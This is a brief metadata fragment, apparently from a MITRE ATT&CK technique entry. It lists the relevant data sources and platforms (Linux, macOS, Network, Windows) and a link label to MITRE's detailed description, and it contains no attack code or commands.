Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre